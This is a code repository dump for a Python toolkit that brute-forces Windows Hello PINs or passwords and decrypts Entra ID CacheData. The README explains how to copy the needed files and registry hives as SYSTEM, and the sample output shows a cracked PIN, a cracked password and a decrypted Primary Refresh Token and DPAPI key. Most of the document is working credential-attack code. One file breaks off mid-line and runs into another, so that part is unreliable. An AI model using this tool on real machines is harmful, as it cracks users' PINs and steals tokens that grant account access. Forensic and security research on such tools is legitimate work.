├── README.md ├── decrypt_cachedata.py ├── requirements.txt └── scripts ├── bruteforce_password.py ├── cryptokeys_decrypt.py ├── decrypt_cachedata_pin.py ├── dpapi_cred_key.py ├── dump_cachedata.py ├── parse_cachedata.py └── parser_data.py /README.md: -------------------------------------------------------------------------------- 1 | # CacheData_decrypt 2 | 3 | A simple Toolkit to BF and decrypt Windows EntraId CacheData. 4 | 5 | ``` 6 | usage: decrypt_cachedata.py [-h] {pin,password} ... 7 | 8 | CacheData bruteforcer. On a live windows host, to copy the folders with all 9 | subfolders and files: xcopy /H /E /G /C as SYSTEM. The 10 | script will automatically iterates on each Entra ID user who has logged in on 11 | the device. If you want to bruteforce the PIN for only one user, use the --sid 12 | parameter. 13 | 14 | positional arguments: 15 | {pin,password} Available subparser (pin or password) 16 | pin BF pin. 17 | password BF password. 18 | dump Dump CacheData header. 19 | 20 | options: 21 | -h, --help show this help message and exit 22 | ``` 23 | 24 | ## Installation 25 | 26 | Create a Python3 virtual env and install the requirements: 27 | 28 | ``` 29 | python3 -m venv ./my_venv 30 | source ./my_venv/bin/activate 31 | pip3 install -r requirements.txt 32 | ``` 33 | 34 | ## Example 35 | 36 | ### PIN 37 | 38 | Example to bruteforce a PIN, and decrypt the PRT + DPAPI CredKey. 39 | 40 | Ensure to gather all required files and directories: 41 | 42 | ``` 43 | ls -ld CacheData secrets/Ngc/ PIN.txt secrets/system secrets/security secrets/Crypto/Keys/ secrets/masterkey/ 44 | -rw-r--r-- 1 user user 14036 Feb 15 11:12 CacheData 45 | -rw-r--r-- 1 user user 21 Apr 22 10:56 PIN.txt 46 | drwx------ 2 user user 4096 Feb 15 09:59 secrets/Crypto/Keys/ 47 | drwxr-xr-x 2 user user 4096 Apr 8 21:57 secrets/masterkey/ 48 | drwx------ 3 user user 4096 Feb 15 09:58 secrets/Ngc/ 49 | -rwxr-xr-x 1 user user 40960 Apr 8 21:56 secrets/security 50 | -rwxr-xr-x 1 user user 12734464 Apr 8 21:56 secrets/system 51 | ``` 52 | 53 | Start the script with the ``pin`` argument and all required files and directories: 54 | 55 | ``` 56 | python3 decrypt_cachedata.py pin -C CacheData -N secrets/Ngc/ -P PIN.txt \ 57 | --system secrets/system --security secrets/security --keys secrets/Crypto/Keys/ \ 58 | --masterkey secrets/masterkey/ 59 | 60 | [+] Found PIN: 123456 61 | [+] Parsing CacheData file CacheData 62 | [+] CacheData file version is 0x2 63 | [+] CacheData expected sha256: e56c1ec9d053dfd0618aaed1f5bd0ebbaecf9ed11917a526d5714b7c86101423 64 | [+] CacheData computed sha256: e56c1ec9d053dfd0618aaed1f5bd0ebbaecf9ed11917a526d5714b7c86101423 65 | [+] Parsing Cache node headers 66 | [+] Found CacheNode of type 0x1, CryptoBlobSize = 0x30, EncryptedPRTSize = 0x18d0 67 | [+] Found CacheNode of type 0x5, CryptoBlobSize = 0x3d7, EncryptedPRTSize = 0x1970 68 | [+] Parsing raw blob 69 | [+] Found blob of size 0x30 (offset = 0x80/0x36d4) 70 | [+] Found blob of size 0x18d0 (offset = 0xb4/0x36d4) 71 | [+] Found blob of size 0x3d7 (offset = 0x1988/0x36d4) 72 | [+] Found blob of size 0x1970 (offset = 0x1d64/0x36d4) 73 | [+] CacheData node of type PIN (0x5) has been found 74 | [+] RSA decrypt encrypted AES key 1 75 | [+] AES decrypt encrypted AES key 2 76 | [+] AES decrypt encrypted blob of size 0x1970 (DPAPI CredKey + PRT) 77 | [+] Dumping raw DPAPI Cred key, with GUID c0c17f7a-2b1e-43ff-a739-f698b29469b5 (0x40 bytes): 78 | 00000000: D9 00 C8 20 3A 6E FB 10 EC AD AD 3A 02 28 31 7C ... :n.....:.(1| 79 | 00000010: E4 31 4E 09 A0 CC BE 96 1D 31 FA C5 42 AF CC 56 .1N......1..B..V 80 | 00000020: 70 32 6B 1F A3 94 F8 15 B8 63 5A B2 69 A8 ED 07 p2k......cZ.i... 81 | 00000030: D4 71 1C 96 8F 49 18 64 23 0F 30 16 6C 6D 1B CE .q...I.d#.0.lm.. 82 | [+] Dumping decrypted PRT file: 83 | { 84 | "Version": 3, 85 | "UserInfo": { 86 | "Version": 2, 87 | "UniqueId": "57d07212-f77d-402f-90b1-f590b8890bb4", 88 | "PrimarySid": "S-1-12-1-1473278482-1076885373-2432020880-3020655032", 89 | .... 90 | } 91 | ... 92 | } 93 | ``` 94 | 95 | ### Password 96 | 97 | Example to bruteforce a password, and decrypt the PRT + DPAPI CredKey. 98 | 99 | Start the script with the ``password`` argument and provide the CacheData file and password list: 100 | 101 | ``` 102 | python3 decrypt_cachedata.py password -C CacheData -P password.txt 103 | 104 | [+] Parsing CacheData file CacheData 105 | [+] CacheData file version is 0x2 106 | [+] CacheData expected sha256: e56c1ec9d053dfd0618aaed1f5bd0ebbaecf9ed11917a526d5714b7c86101423 107 | [+] CacheData computed sha256: e56c1ec9d053dfd0618aaed1f5bd0ebbaecf9ed11917a526d5714b7c86101423 108 | [+] Parsing Cache node headers 109 | [+] Found CacheNode of type 0x1, CryptoBlobSize = 0x30, EncryptedPRTSize = 0x18d0 110 | [+] Found CacheNode of type 0x5, CryptoBlobSize = 0x3d7, EncryptedPRTSize = 0x1970 111 | [+] Parsing raw blob 112 | [+] Found blob of size 0x30 (offset = 0x80/0x36d4) 113 | [+] Found blob of size 0x18d0 (offset = 0xb4/0x36d4) 114 | [+] Found blob of size 0x3d7 (offset = 0x1988/0x36d4) 115 | [+] Found blob of size 0x1970 (offset = 0x1d64/0x36d4) 116 | [+] CacheData node of type password (0x1) has been found 117 | [+] Password: 'P@ssw0rd!' 118 | [+] Dumping raw DPAPI Cred key, with GUID c0c17f7a-2b1e-43ff-a739-f698b29469b5 (0x40 bytes): 119 | 00000000: D9 00 C8 20 3A 6E FB 10 EC AD AD 3A 02 28 31 7C ... :n.....:.(1| 120 | 00000010: E4 31 4E 09 A0 CC BE 96 1D 31 FA C5 42 AF CC 56 .1N......1..B..V 121 | 00000020: 70 32 6B 1F A3 94 F8 15 B8 63 5A B2 69 A8 ED 07 p2k......cZ.i... 122 | 00000030: D4 71 1C 96 8F 49 18 64 23 0F 30 16 6C 6D 1B CE .q...I.d#.0.lm.. 123 | [+] Dumping decrypted PRT file: 124 | { 125 | "Version": 3, 126 | "UserInfo": { 127 | "Version": 2, 128 | "UniqueId": "57d07212-f77d-402f-90b1-f590b8890bb4", 129 | "PrimarySid": "S-1-12-1-1473278482-1076885373-2432020880-3020655032", 130 | .... 131 | } 132 | ... 133 | } 134 | ``` 135 | 136 | ## Credits 137 | 138 | PRT decryption based on password (i.e not PIN) was already implemented in the 139 | script [PRT_Utils.ps1](https://github.com/Gerenios/AADInternals/blob/49a9659b60672f08428e72148b66dfe4629562da/PRT_Utils.ps1#L858) 140 | from [AADInternals](https://github.com/Gerenios/AADInternals) repository. 141 | 142 | Also, our script uses several code snippets directly extracted from 143 | [dpapilab-ng](https://github.com/tijldeneut/dpapilab-ng) repository. 144 | -------------------------------------------------------------------------------- /decrypt_cachedata.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import os 3 | from scripts import parser_data 4 | from scripts import cryptokeys_decrypt 5 | from scripts import bruteforce_password 6 | from scripts import decrypt_cachedata_pin 7 | from scripts import parse_cachedata 8 | from scripts import dump_cachedata 9 | 10 | def list_of_args(): 11 | parser = argparse.ArgumentParser(add_help = True, description = "CacheData bruteforcer. On a live windows host, to copy the folders with all subfolders and files: xcopy /H /E /G /C as SYSTEM. The script will automatically iterates on each Entra ID user who has logged in on the device. If you want to bruteforce the PIN for only one user, use the --sid parameter.") 12 | subparsers = parser.add_subparsers(dest='operation', help='Available subparser (pin or password)') 13 | 14 | # Dump the entries from the CacheData file 15 | dump_parser = subparsers.add_parser('dump', help='Dump CacheData file entries.') 16 | dump_parser.add_argument('-C', dest = 'CacheData', action="store", required=True, help="CacheDataFile") 17 | 18 | # The CacheData contains an entry protected by a PIN, try to bruteforce the PIN 19 | pin_parser = subparsers.add_parser('pin', help='BF pin.') 20 | pin_parser.add_argument('-C', dest = 'CacheData', action = "store",required=True, help= "CacheDataFile") 21 | pin_parser.add_argument('-N', dest = 'NGC', action = "store", required=True, help= "NGC folder (C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Ngc\\") 22 | pin_parser.add_argument('-P', dest = 'PINFile', action ="store", required=True , help="PIN list for bruteforce") 23 | pin_parser.add_argument('--masterkey', dest='masterkeydir', action="store", required=True, help='System Masterkey folder (C:\\Windows\\System32\\Microsoft\\Protect\\S-1-5-18\\User\\') 24 | pin_parser.add_argument('--system', dest='system', required=True, help='SYSTEM file (C:\\Windows\\System32\\config\\SYSTEM)') 25 | pin_parser.add_argument('--security', dest='security', required=True, help='SECURITY file (C:\\Windows\\System32\\config\\SECURITY)') 26 | pin_parser.add_argument('--keys', dest='keys', required=True, help='Keys folder (C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Crypto\\Keys\\)') 27 | pin_parser.add_argument('--verbose', dest='verbose', required=False, action="store_true", help='Verbose mode') 28 | pin_parser.add_argument('--sid', dest='sid', nargs='?', default='', help='Bruteforce only one user specifying its SID. reg query "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList. SID related to Entra ID users begin by S-1-12-1.') 29 | 30 | # The CacheData file contains an entry protected by a password 31 | password_parser = subparsers.add_parser('password', help='BF password.') 32 | password_parser.add_argument('-C', dest = 'CacheData', action = "store",required=True, help= "CacheDataFile") 33 | password_parser.add_argument('-P', dest = 'PasswordsFile', action ="store",required=True , help="Passwords file") 34 | password_parser.add_argument('--verbose', dest='verbose', required=False, action="store_true", help='Verbose mode') 35 | 36 | options = parser.parse_args() 37 | if options.operation == 'dump': 38 | pass 39 | elif options.operation == 'pin': 40 | options.pins = parser_data.fileToList(options.PINFile) 41 | elif options.operation == 'password': 42 | options.passwords = parser_data.fileToList(options.PasswordsFile) 43 | else: 44 | parser.print_help() 45 | return options 46 | 47 | 48 | def main(arguments): 49 | 50 | if arguments.operation == 'dump': 51 | dump_cachedata.dump_cache_data(arguments.CacheData) 52 | 53 | elif arguments.operation == 'pin': 54 | NGC = parser_data.extract_NGC_data(arguments) 55 | 56 | arrGUIDs = os.listdir(arguments.NGC) 57 | arrProtectors = NGC[0] 58 | arrItems = NGC[1] 59 | first_protector = arrProtectors[0][2] 60 | 61 | bInputData = None 62 | for arrProtector in arrProtectors: 63 | # Microsoft Software Key Storage Provider is used when no TPM is available 64 | if arrProtector[1] == 'Microsoft Software Key Storage Provider': 65 | bInputData = arrProtector[3] 66 | break 67 | if bInputData is None: 68 | print('[-] Could not find Microsoft Software Key Storage Provider in protectors') 69 | return 70 | 71 | # Bruteforce using the PIN and get a first RSA private key (BCRYPT_RSAKEY_BLOB structure) 72 | rsa_priv_key_blob1 = cryptokeys_decrypt.cryptokeys_decrypt(arguments, first_protector, bf = True) 73 | # If we couldn't obtain the private key because the bruteforce failed, then leave 74 | if rsa_priv_key_blob1 is None: 75 | return 76 | # Obtain the DecryptPin which is RSA encrypted with the RSA private key obtained previously 77 | decryptPin = parser_data.extract_decryptPin(rsa_priv_key_blob1, bInputData, arguments.verbose) 78 | 79 | for item in arrItems: 80 | if item[1] == '//CA00CFA8-EB0F-42BA-A707-A3A43CDA5BD9': 81 | # Use the DecryptPin from the previous step as the "new pin" 82 | arguments.pins = [decryptPin.hex().lower()] 83 | # Obtain a second RSA private key (BCRYPT_RSAKEY_BLOB structure) using the DecryptPin 84 | rsa_priv_key_blob2 = cryptokeys_decrypt.cryptokeys_decrypt(arguments, item[3], bf = False) 85 | decrypt_cachedata_pin.decrypt_cachedata_with_private_key(arguments.CacheData, rsa_priv_key_blob2) 86 | 87 | elif arguments.operation == 'password': 88 | bruteforce_password.bruteforce(arguments) 89 | 90 | 91 | if __name__ == '__main__': 92 | main(list_of_args()) 93 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | dpapick3>=0.3.3 2 | wheel 3 | pytz 4 | pyOpenSSL 5 | lxml 6 | hexdump 7 | -------------------------------------------------------------------------------- /scripts/bruteforce_password.py: -------------------------------------------------------------------------------- 1 | import json 2 | import hmac 3 | import hashlib 4 | from cryptography.hazmat.backends import default_backend 5 | from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC 6 | from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes 7 | from cryptography.hazmat.backends import default_backend 8 | from cryptography.hazmat.primitives import hashes 9 | from typing import List 10 | from scripts.parse_cachedata import CacheDataNode, parse_cache_data 11 | from scripts.dpapi_cred_key import DPAPICredKeyBlob 12 | import struct 13 | import hexdump 14 | 15 | def bruteforce(arguments): 16 | file_path = arguments.CacheData 17 | cache_data_node_list : List[CacheDataNode] = parse_cache_data(file_path) 18 | cache_data_node_password = None 19 | for entry in cache_data_node_list: 20 | if entry.is_node_type_password(): 21 | cache_data_node_password = entry 22 | break 23 | if cache_data_node_password is None: 24 | raise Exception('No node of type password (0x1) found in CacheData file') 25 | print('[+] CacheData node of type password (0x1) has been found') 26 | enc_data = cache_data_node_password.encryptedPRTBlob 27 | success = False 28 | for password in arguments.passwords: 29 | if arguments.verbose: 30 | print("Trying: " + password + "\n") 31 | password_array = password.encode('utf-16-le') 32 | secret = get_pbkdf2(password_array) 33 | if arguments.verbose: 34 | print(secret) 35 | default_iv = b'\x00' * 16 36 | decrypted_blob = aes_decrypt(enc_data,secret,default_iv) 37 | version, flags, dword3, raw_dpapi_cred_key_size = struct.unpack(" bytes: 7 | reg = registry.Regedit() 8 | secrets = reg.get_lsa_secrets(arguments.security, arguments.system) 9 | dpapi_system = secrets.get('DPAPI_SYSTEM')['CurrVal'] 10 | mkp = masterkey.MasterKeyPool() 11 | mkp.loadDirectory(arguments.masterkeydir) 12 | mkp.addSystemCredential(dpapi_system) 13 | #decrn = mkp.try_credential_hash(None, None) 14 | mkp.try_credential_hash(None, None) 15 | 16 | for root, _, files in os.walk(arguments.keys): 17 | for sFile in files: 18 | filepath = os.path.join(root, sFile) 19 | with open(filepath, 'rb') as f: 20 | file_data = f.read() 21 | sInfo, arrFieldData = parser_data.parseFile(file_data) 22 | blobPrivateKeyProperties = arrFieldData[1] 23 | pkpBlob = blob.DPAPIBlob(blobPrivateKeyProperties) 24 | mks = mkp.getMasterKeys(pkpBlob.mkguid.encode()) 25 | for mk in mks: 26 | if mk.decrypted: 27 | pkpBlob.decrypt(mk.get_key(), entropy = b'6jnkd5J3ZdQDtrsu\x00') 28 | if pkpBlob.decrypted: 29 | arrPrivateKeyProperties = parser_data.parsePrivateKeyProperties(pkpBlob.cleartext.hex()) 30 | 31 | blobPrivateKey = arrFieldData[2] 32 | pkBlob = blob.DPAPIBlob(blobPrivateKey) 33 | mks = mkp.getMasterKeys(pkBlob.mkguid.encode()) 34 | for mk in mks: 35 | if sInfo == protector: 36 | if mk.decrypted: 37 | pkBlob.decrypt(mk.get_key(), entropy = b'xT5rZW5qVVbrvpuA\x00', strongPassword=None) 38 | if pkBlob.decrypted: 39 | print('[+] Private Key decrypted : ') 40 | print(' ' + pkBlob.cleartext.hex()) 41 | else: 42 | for sProperty in arrPrivateKeyProperties: 43 | if sProperty['Name'].decode('UTF-16LE',errors='ignore') == 'NgcSoftwareKeyPbkdf2Salt': sSalt = sProperty['Value'].hex() 44 | elif sProperty['Name'].decode('UTF-16LE',errors='ignore') == 'NgcSoftwareKeyPbkdf2Round': iRounds = int(parser_data.reverseByte(sProperty['Value']).hex(),16) 45 | (pkResult, sPIN) = brutePIN(arguments, mk, pkBlob, sSalt, iRounds, bf) 46 | if pkResult and pkResult.decrypted: 47 | if arguments.verbose: 48 | print('[+] Private Key decrypted: ' + pkBlob.cleartext.hex()) 49 | return pkBlob.cleartext 50 | else: 51 | if sPIN: 52 | print('[-] Decryption with PIN tried but failed') 53 | else: 54 | print('[-] Entropy unknown for ' + pkBlob.description.decode()) 55 | return None 56 | 57 | def decryptWithPIN(mk, pkBlob, sSalt, iRounds, sPIN) -> bytes: 58 | sHexPIN = '' 59 | if not len(sPIN) == 64: 60 | sHexPIN = sPIN.encode().hex().upper().encode('UTF-16LE').hex() 61 | else: 62 | sHexPIN = sPIN.upper().encode('UTF-16LE').hex() 63 | bPIN = hashlib.pbkdf2_hmac('sha256', bytes.fromhex(sHexPIN), bytes.fromhex(sSalt), iRounds).hex().upper().encode('UTF-16LE') 64 | bPIN = hashlib.sha512(bPIN).digest() 65 | pkBlob.decrypt(mk.get_key(), entropy = b'xT5rZW5qVVbrvpuA\x00', smartCardSecret = bPIN) 66 | return pkBlob 67 | 68 | 69 | def brutePIN(arguments, mk, pkBlob, sSalt, iRounds, bf): 70 | success = False 71 | for PIN in arguments.pins: 72 | if arguments.verbose: 73 | print("Trying: " + PIN + "\n") 74 | pkResult = decryptWithPIN(mk, pkBlob, sSalt, iRounds, PIN) 75 | if pkResult.decrypted: 76 | if bf: 77 | print('\n[+] Found PIN: ' + PIN) 78 | success = True 79 | return (pkResult, PIN) 80 | if bf and not success: 81 | print('[+] End of bruteforce, no valid PIN found.') 82 | return (pkBlob, '') 83 | -------------------------------------------------------------------------------- /scripts/decrypt_cachedata_pin.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import struct 3 | import hmac 4 | import hashlib 5 | import json 6 | from typing import List 7 | import hexdump 8 | import binascii 9 | from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes 10 | from cryptography.hazmat.primitives.asymmetric import rsa, padding 11 | from cryptography.hazmat.backends import default_backend 12 | from cryptography import x509 13 | from scripts.parse_cachedata import parse_cache_data, CacheDataNode 14 | from scripts.dpapi_cred_key import DPAPICredKeyBlob 15 | import dpapick3.eater as eater 16 | 17 | class BcryptRsaKeyBlob(eater.DataStruct): 18 | """ 19 | // https://learn.microsoft.com/fr-fr/windows/win32/api/bcrypt/ns-bcrypt-bcrypt_rsakey_blob 20 | typedef struct _BCRYPT_RSAKEY_BLOB { 21 | ULONG Magic; 22 | ULONG BitLength; 23 | ULONG cbPublicExp; 24 | ULONG cbModulus; 25 | ULONG cbPrime1; 26 | ULONG cbPrime2; 27 | } BCRYPT_RSAKEY_BLOB; 28 | 29 | BCRYPT_RSAKEY_BLOB 30 | PublicExponent[cbPublicExp] // Big-endian. 31 | Modulus[cbModulus] // Big-endian. 32 | """ 33 | 34 | # From bcrypt.h -> #define BCRYPT_RSAPRIVATE_MAGIC 0x32415352 35 | BCRYPT_RSAPRIVATE_MAGIC = 0x32415352 # 'RSA2' 36 | # From bcrypt.h -> #define BCRYPT_RSAPUBLIC_MAGIC 0x31415352 37 | BCRYPT_RSAPUBLIC_MAGIC = 0x31415352 # 'RSA1' 38 | 39 | def __init__(self, raw): 40 | eater.DataStruct.__init__(self, raw) 41 | 42 | def parse(self, data): 43 | self.Magic = data.eat("L") 44 | self.BitLength = data.eat("L") 45 | self.cbPublicExp = data.eat("L") 46 | self.cbModulus = data.eat("L") 47 | self.cbPrime1 = data.eat("L") 48 | self.cbPrime2 = data.eat("L") 49 | self.PublicExp = int.from_bytes(data.eat_string(self.cbPublicExp), "big") 50 | self.Modulus = int.from_bytes(data.eat_string(self.cbModulus), "big") 51 | if self.Magic == BcryptRsaKeyBlob.BCRYPT_RSAPUBLIC_MAGIC: 52 | assert self.cbPrime1 == 0 and self.cbPrime2 == 0 53 | elif self.Magic == BcryptRsaKeyBlob.BCRYPT_RSAPRIVATE_MAGIC: 54 | assert self.cbPrime1 != 0 and self.cbPrime2 != 0 55 | self.Prime1 = int.from_bytes(data.eat_string(self.cbPrime1), "big") 56 | self.Prime2 = int.from_bytes(data.eat_string(self.cbPrime1), "big") 57 | assert data.ofs == data.end, "Invalid BcryptRsaKeyBlob size" 58 | 59 | def get_rsa_public_key(self) -> rsa.RSAPublicKey: 60 | rsa_pub_num = rsa.RSAPublicNumbers(self.PublicExp, self.Modulus) 61 | return rsa_pub_num.public_key() 62 | 63 | def get_rsa_private_key(self) -> rsa.RSAPrivateKey: 64 | assert self.Magic == 0x32415352 65 | # Compute n = p * q 66 | n = self.Prime1 * self.Prime2 67 | rsa_pub_num = rsa.RSAPublicNumbers(self.PublicExp, n) 68 | # Compute the RSA private exponent (d) 69 | d = rsa._modinv(self.PublicExp, (self.Prime1 - 1) * (self.Prime2 - 1)) 70 | # Computes the dmp1 parameter from the RSA private exponent (d) and prime p 71 | dmp1 = rsa.rsa_crt_dmp1(d, self.Prime1) 72 | # Computes the dmq1 parameter from the RSA private exponent (d) and prime q 73 | dmq1 = rsa.rsa_crt_dmq1(d, self.Prime2) 74 | # Computes the iqmp (also known as qInv) parameter from the RSA primes p and q 75 | iqmp = rsa.rsa_crt_iqmp(self.Prime1, self.Prime2) 76 | rsa_priv_num = rsa.RSAPrivateNumbers( 77 | self.Prime1, self.Prime2, d, dmp1, dmq1, iqmp, rsa_pub_num 78 | ) 79 | rsa_priv_key: rsa.RSAPrivateKey = rsa_priv_num.private_key() 80 | assert rsa_priv_key.key_size == self.BitLength 81 | return rsa_priv_key 82 | 83 | 84 | class NgcAsymetricKeyEncryptedBlob(eater.DataStruct): 85 | """ 86 | Undocumented _NGC_ASYMMETRIC_KEY_ENCRYPTED_BLOB structure. 87 | - 3rd arg of cryptngc!NgcDecryptWithUserIdKeySilent 88 | - 5th arg of cryptngc!DecryptWithUserIdKey 89 | 00000000 dwVersion 90 | 00000004 dwEncryptedAESKey1Length 91 | 00000008 dwIVLength 92 | 0000000C dwEncryptedAESKey2Length 93 | 00000010 dwEncryptedTPMKeyLength 94 | ... 95 | """ 96 | def __init__(self, raw=None): 97 | eater.DataStruct.__init__(self, raw) 98 | 99 | def parse(self, data): 100 | self.dwVersion = data.eat("L") 101 | self.dwEncryptedAESKey1Length = data.eat("L") 102 | self.dwIVLength = data.eat("L") 103 | self.dwEncryptedAESKey2Length = data.eat("L") 104 | self.dwEncryptedTPMKeyLength = data.eat("L") 105 | self.encryptedAESKey1 = data.eat_string(self.dwEncryptedAESKey1Length) 106 | self.IV = data.eat_string(self.dwIVLength) 107 | self.encryptedAESKey2 = data.eat_string(self.dwEncryptedAESKey2Length) 108 | self.encryptedTPMKey = data.eat_string(self.dwEncryptedTPMKeyLength) 109 | assert data.ofs == data.end, "Invalid NgcAsymetricKeyEncryptedBlob size" 110 | 111 | def __repr__(self): 112 | s = ["[+] NgcAsymetricKeyEncryptedBlob", 113 | "\tdwVersion = 0x%x" % self.dwVersion, 114 | "\tdwEncryptedAESKey1Length = 0x%x" % self.dwEncryptedAESKey1Length, 115 | "\tdwIVLength = 0x%x" % self.dwIVLength, 116 | "\tdwEncryptedAESKey2Length = 0x%x" % self.dwEncryptedAESKey2Length, 117 | "\tdwEncryptedTPMKeyLength = 0x%x" % self.dwEncryptedTPMKeyLength, 118 | "\tencryptedAESKey1 = %s" % binascii.hexlify(self.encryptedAESKey1), 119 | "\tIV = %s" % binascii.hexlify(self.IV), 120 | "\tencryptedAESKey2 = %s" % binascii.hexlify(self.encryptedAESKey2), 121 | "\tencryptedTPMKey = %s" % binascii.hexlify(self.encryptedTPMKey) 122 | ] 123 | return "\n".join(s) 124 | 125 | class ScardCacheDataBlob(eater.DataStruct): 126 | def __init__(self, raw): 127 | eater.DataStruct.__init__(self, raw) 128 | 129 | def parse(self, data): 130 | self.dwScardversion = data.eat("L") 131 | self.dwScardBlobSize = data.eat("L") 132 | self.dwScardCertOffset = data.eat("L") 133 | self.dwScardCertSize = data.eat("L") 134 | self.dwScardIVOffset = data.eat("L") 135 | self.dwScardIVSize = data.eat("L") 136 | self.dwScardEncKeyOffset = data.eat("L") 137 | self.dwScardEncKeySize = data.eat("L") 138 | self.dwScardCredKeyOffset = data.eat("L") 139 | self.dwScardCredKeySize = data.eat("L") 140 | assert data.ofs == self.dwScardCertOffset 141 | # BcryptRsaKeyBlob 142 | self.ScardCert = data.eat_string(self.dwScardCertSize) 143 | assert data.ofs == self.dwScardIVOffset 144 | self.ScardIV = data.eat_string(self.dwScardIVSize) 145 | assert data.ofs == self.dwScardEncKeyOffset 146 | # NgcAsymetricKeyEncryptedBlob 147 | self.ScardEncKey = data.eat_string(self.dwScardEncKeySize) 148 | assert data.ofs == self.dwScardCredKeyOffset 149 | self.ScardCredKey = data.eat_string(self.dwScardCredKeySize) 150 | assert self.dwScardBlobSize == ( 151 | self.dwScardCertSize + 152 | self.dwScardIVSize + 153 | self.dwScardEncKeySize + 154 | self.dwScardCredKeySize + 155 | 0x28 156 | ) 157 | 158 | def __repr__(self): 159 | s = ["[+] ScardCacheDataBlob", 160 | "\tdwScardversion = 0x%x" % self.dwScardversion, 161 | "\tdwScardBlobSize = 0x%x" % self.dwScardBlobSize, 162 | "\tdwScardCertOffset = 0x%x" % self.dwScardCertOffset, 163 | "\tdwScardCertSize = 0x%x" % self.dwScardCertSize, 164 | "\tdwScardIVOffset = 0x%x" % self.dwScardIVOffset, 165 | "\tdwScardIVSize = 0x%x" % self.dwScardIVSize, 166 | "\tdwScardEncKeyOffset = 0x%x" % self.dwScardEncKeyOffset , 167 | "\tdwScardEncKeySize = 0x%x" % self.dwScardEncKeySize, 168 | "\tdwScardCredKeyOffset = 0x%x" % self.dwScardCredKeyOffset, 169 | "\tdwScardCredKeySize = 0x%x" % self.dwScardCredKeySize 170 | ] 171 | return "\n".join(s) 172 | 173 | 174 | def decrypt_encrypted_AESKey2( 175 | aes_key_encrypted_2, aes_key_decrypted_1, IVKey1 176 | ) -> bytes: 177 | """ 178 | Implement cryptngc!DecryptNgcData() 179 | Take as the AES key, the output of decrypt_encrypted_key1(). 180 | Take as the IV, the IV specified in the EncKey blob 181 | Take as the input, the 0x30 EncryptedHeaderBlob. 182 | """ 183 | return aes_decrypt(aes_key_encrypted_2, aes_key_decrypted_1, IVKey1) 184 | 185 | 186 | def aes_decrypt(encrypted_data, key, iv) -> bytes: 187 | cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) 188 | decryptor = cipher.decryptor() 189 | decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize() 190 | return decrypted_data 191 | 192 | 193 | def rsa_decrypt( 194 | bcrypt_rsa_key_obj: BcryptRsaKeyBlob, rsa_pub_key_cache: rsa.RSAPublicKey, ciphertext: bytes 195 | ) -> bytes: 196 | rsa_pub_key = bcrypt_rsa_key_obj.get_rsa_public_key() 197 | rsa_priv_key = bcrypt_rsa_key_obj.get_rsa_private_key() 198 | assert ( 199 | len(ciphertext) == rsa_priv_key.key_size / 8 200 | ), "Ciphertext size does not match key size for RSA decrypt operation" 201 | 202 | # Check that the RSA public specified in the CacheData file matched 203 | # the one from Microsoft Software Key Storage Provider 204 | assert ( 205 | rsa_pub_key_cache.public_numbers() == rsa_pub_key.public_numbers() 206 | ), "Public key found in CacheData does not match with provided private key" 207 | 208 | return rsa_priv_key.decrypt(ciphertext, padding.PKCS1v15()) 209 | 210 | def parse_scard_crypto_blob(cryptoBlob : bytes) -> tuple[ScardCacheDataBlob, x509.Certificate, bytes]: 211 | print('[+] Reading ScardCacheDataBlob from cryptoBlob') 212 | scard_blob = ScardCacheDataBlob(cryptoBlob) 213 | print('[+] Reading PEM x509 certificate from ScardCert') 214 | cert : x509.Certificate = x509.load_der_x509_certificate(scard_blob.ScardCert, default_backend()) 215 | print('[+] Reading NgcAsymetricKeyEncryptedBlob from ScardEncKey') 216 | # TODO: support format of ScardEncKey 217 | scard_enc_key = scard_blob.ScardEncKey 218 | return scard_blob, cert, scard_enc_key 219 | 220 | 221 | def parse_pin_crypto_blob(cryptoBlob : bytes) -> tuple[ScardCacheDataBlob, rsa.RSAPublicKey, NgcAsymetricKeyEncryptedBlob]: 222 | 223 | # From bcrypt.h -> #define BCRYPT_RSAPUBLIC_MAGIC 0x31415352 224 | rsa_public_magic_offset = cryptoBlob.find(b"RSA1") 225 | if rsa_public_magic_offset == -1: 226 | raise Exception("Unable to find BCRYPT_RSAPUBLIC_MAGIC in cryptoBlob for node of type PIN (0x5).") 227 | if rsa_public_magic_offset < 0x28: 228 | raise Exception("Unable to read SCardCacheData header in CacheData file.") 229 | 230 | print('[+] Reading ScardCacheDataBlob from cryptoBlob') 231 | scard_blob = ScardCacheDataBlob(cryptoBlob) 232 | print('[+] Reading BcryptRsaKeyBlob from ScardCert') 233 | rsa_pub_key = BcryptRsaKeyBlob(scard_blob.ScardCert).get_rsa_public_key() 234 | 235 | print('[+] Reading NgcAsymetricKeyEncryptedBlob from ScardEncKey') 236 | ngc_asym_key_blob = NgcAsymetricKeyEncryptedBlob(scard_blob.ScardEncKey) 237 | return scard_blob, rsa_pub_key, ngc_asym_key_blob 238 | 239 | 240 | def decrypt_cachedata_with_private_key(file_path, rsa_priv_key_blob): 241 | 242 | cache_data_node_list : List[CacheDataNode] = parse_cache_data(file_path) 243 | cache_data_node_pin = None 244 | for entry in cache_data_node_list: 245 | if entry.is_node_type_pin(): 246 | cache_data_node_pin = entry 247 | break 248 | if cache_data_node_pin is None: 249 | raise Exception('No node of type PIN (0x5) found in CacheData file') 250 | print('[+] CacheData node of type PIN (0x5) has been found') 251 | 252 | scard_blob, rsa_pub_key, ngc_asym_key_blob = parse_pin_crypto_blob(cache_data_node_pin.cryptoBlob) 253 | 254 | if not rsa_priv_key_blob.startswith(b"RSA2"): 255 | raise Exception("Bad private key format") 256 | rsa_priv_key_obj = BcryptRsaKeyBlob(rsa_priv_key_blob) 257 | 258 | # The rsa_priv_key_obj (encrypted version) come from the file Crypto/Keys/1c7c0d0195a393b00297fb4a1bc6efc2_c2e570f7-a2b1-4483-b686-ab4ab03d6a70 259 | # Which as the key {1EB9AF77-CC62-4C28-A173-19267DD63045} 260 | # [+] Name : 